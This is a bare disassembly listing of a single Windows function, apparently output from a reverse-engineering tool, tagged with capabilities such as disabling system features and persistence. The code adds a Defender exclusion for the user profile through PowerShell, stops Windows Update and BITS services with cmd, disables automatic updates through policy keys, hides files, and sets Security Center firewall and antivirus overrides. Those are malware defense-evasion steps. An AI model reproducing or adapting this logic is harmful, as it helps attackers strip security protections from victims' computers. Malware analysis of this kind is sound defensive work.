Function at 0x401000
Capabilities:
Create process on windows
Disable system features via registry on windows
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 1
mov dword [ebp - 4], 4
push 0
push 0
push str._c_powershell__inputformat_none__outputformat_none__NonInteractive__Command_Add_MpPreference__ExclusionPath__ENV:userprofile
push 0x4021e4
push 0x4021f4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
push 0
push str._c_sc_stop_UsoSvc__sc_stop_WaaSMedicSvc__sc_stop_wuauserv__sc_stop_DoSvc__sc_stop_BITS
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [ebp - 0xc]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4010a5
push 4
lea ecx, [ebp - 8]
push ecx
push 4
push 0
push str.CheckedValue
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0xc]
push ecx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesUsoSvc
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4010e7
push 4
lea edx, [ebp - 4]
push edx
push 4
push 0
push 0x4023e4
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0xc]
push edx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesWaaSMedicSvc
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401129
push 4
lea eax, [ebp - 4]
push eax
push 4
push 0
push 0x402450
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xc]
push eax
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServiceswuauserv
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40116b
push 4
lea ecx, [ebp - 4]
push ecx
push 4
push 0
push 0x4024b0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0xc]
push ecx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesDoSvc
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4011ad
push 4
lea edx, [ebp - 4]
push edx
push 4
push 0
push 0x402508
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0xc]
push edx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesBITS
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4011ef
push 4
lea eax, [ebp - 4]
push eax
push 4
push 0
push str.Start
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xc]
push eax
push 0x20006
push 0
push 0x402568
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401236
push 4
lea ecx, [ebp - 0x10]
push ecx
push 4
push 0
push 0x4025cc
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4012c3
lea ecx, [ebp - 0xc]
push ecx
push 0x20006
push 0
push 0x4025e8
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401281
push 0
lea edx, [ebp - 0xc]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x402630
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0xc]
push edx
push 0x20006
push 0
push 0x402650
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4012c3
push 4
lea eax, [ebp - 0x10]
push eax
push 4
push 0
push str.DisableWindowsUpdateAccess
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xc]
push eax
push 0x20006
push 0
push 0x4026d0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40130a
push 4
lea ecx, [ebp - 0x10]
push ecx
push 4
push 0
push 0x40273c
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4013e2
lea ecx, [ebp - 0xc]
push ecx
push 0x20006
push 0
push str.SOFTWAREPoliciesMicrosoftWindows
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401355
push 0
lea edx, [ebp - 0xc]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push str.WindowsUpdate
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0xc]
push edx
push 0x20006
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdate
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4013a0
push 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x40281c
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xc]
push eax
push 0x20006
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdateAU
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4013e2
push 4
lea ecx, [ebp - 0x10]
push ecx
push 4
push 0
push str.NoAutoUpdate
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0xc]
push ecx
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4014be
push 4
lea edx, [ebp - 0x10]
push edx
push 4
push 0
push 0x4028c8
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x10]
push ecx
push 4
push 0
push 0x4028dc
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x10]
push eax
push 4
push 0
push 0x4028f4
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x10]
push edx
push 4
push 0
push 0x402908
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x10]
push ecx
push 4
push 0
push 0x40291c
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x10]
push eax
push 4
push 0
push 0x402934
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x10]
push edx
push 4
push 0
push 0x402944
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0xc]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_CenterSvc
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40159a
push 4
lea eax, [ebp - 0x10]
push eax
push 4
push 0
push str.FirewallOverride
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x10]
push edx
push 4
push 0
push str.FirewallDisableNotify
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x10]
push ecx
push 4
push 0
push str.AntiSpywareOverride
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x10]
push eax
push 4
push 0
push str.AntiVirusOverride
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x10]
push edx
push 4
push 0
push str.AntiVirusDisableNotify
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x10]
push ecx
push 4
push 0
push str.UpdatesOverride
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x10]
push eax
push 4
push 0
push str.UpdatesDisableNotify
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10